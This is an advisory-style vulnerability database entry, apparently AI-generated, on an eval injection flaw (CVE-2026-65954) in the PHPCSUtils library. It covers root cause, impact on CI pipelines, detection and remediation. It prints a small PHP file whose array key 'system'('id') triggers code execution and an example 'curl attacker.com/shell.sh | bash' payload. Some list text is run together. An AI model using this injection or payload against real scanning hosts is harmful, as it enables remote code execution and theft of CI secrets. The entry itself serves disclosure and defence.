
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-65954 is an eval injection vulnerability in PHPCSUtils (a utility library for PHP_CodeSniffer) that allows arbitrary code execution on the scanning host when untrusted PHP code is analyzed. The vulnerability affects all versions from 1.0.0-alpha1 through 1.2.2 of the phpcsstandards/phpcsutils Composer package. It was responsibly disclosed by @rodrigoprimo, published as a security advisory on July 27, 2026, and formally added to the GitHub Advisory Database on September 29, 2026. The CVSS v3.1 base score is 8.6 (High) (Github Advisory, PHPCSUtils Advisory).
The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code — 'Eval Injection'). The vulnerable method PHPCSUtils\AbstractSniffs\AbstractArrayDeclarationSniff::getActualArrayKey() uses PHP's eval() to determine the resolved value of array keys in scanned code, without sanitizing or validating the key expression first. An attacker can craft a PHP source file containing a malicious array key using PHP's first-class callable/callback syntax — for example, 'system'('id') => 'value' — which is then executed by eval() on the scanning host when PHPCS processes the file. Known vulnerable code paths are triggered by the PHPCSExtra sniffs Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes, and any other sniff that extends AbstractArrayDeclarationSniff and calls getActualArrayKey() is also affected (Github Advisory, PHPCSUtils Advisory, Patch Commit).
Successful exploitation allows an attacker to execute arbitrary OS commands with the privileges of the process running PHP_CodeSniffer on the scanning host. This results in full confidentiality, integrity, and availability compromise of the scanning environment — including CI/CD pipeline runners, developer workstations, or any automated code review system. In CI environments that lint pull requests from external contributors, this attack is particularly dangerous as it can compromise build infrastructure, expose secrets (e.g., API keys, credentials stored in environment variables), and potentially enable lateral movement within the CI network (Github Advisory, PHPCSUtils Advisory).
No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (Github Advisory). The attack requires user interaction (a developer or CI system must scan the malicious PHP file), making it non-automatable, but no privileges are required on the part of the attacker — only the ability to submit code for scanning (e.g., via a pull request). The EPSS score is approximately 0.155%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and NVD SSVC assessment confirms exploitation is currently 'none' (Github Advisory).
getActualArrayKey(), such as Universal.Arrays.DuplicateArrayKey or Universal.Arrays.MixedArrayKeyTypes from PHPCSExtra.<?php
$arr = [
'system'('id') => 'value',
];phpcs against the submitted code, the getActualArrayKey() method processes the array key and passes the expression to eval(), executing the embedded system command.id, curl attacker.com/shell.sh | bash) runs with the privileges of the PHPCS process, enabling data exfiltration, reverse shell establishment, or further lateral movement within the CI environment (Github Advisory, PHPCSUtils Advisory).id, whoami, or uname commands); PHP error logs showing eval() execution errors or warnings from AbstractArrayDeclarationSniff.sh, bash, curl, wget, python) with the PHPCS process as parent.Upgrade phpcsstandards/phpcsutils to version 1.2.3 or later, which fixes the vulnerability by detecting callback-format syntax in array keys and returning early instead of passing the expression to eval() (PHPCSUtils Release). For users who cannot upgrade immediately, disable the vulnerable sniffs in your custom PHPCS ruleset by adding <exclude name="Universal.Arrays.DuplicateArrayKey"/> and <exclude name="Universal.Arrays.MixedArrayKeyTypes"/> exclusion tags; verify they are disabled by running phpcs -e --standard=/path/to/ruleset.xml (PHPCSUtils Advisory). Additionally, avoid scanning untrusted PHP code with vulnerable versions, particularly in CI pipelines that process external pull requests.
The vulnerability was responsibly disclosed by @rodrigoprimo and credited in the official advisory, with remediation developed by @jrfnl and reviewed by @edorian (PHPCSUtils Advisory). The PHPCSUtils maintainers issued a security release (1.2.3) and explicitly labeled it as a security release advising all users to update as soon as possible (PHPCSUtils Release). No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability database aggregation.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."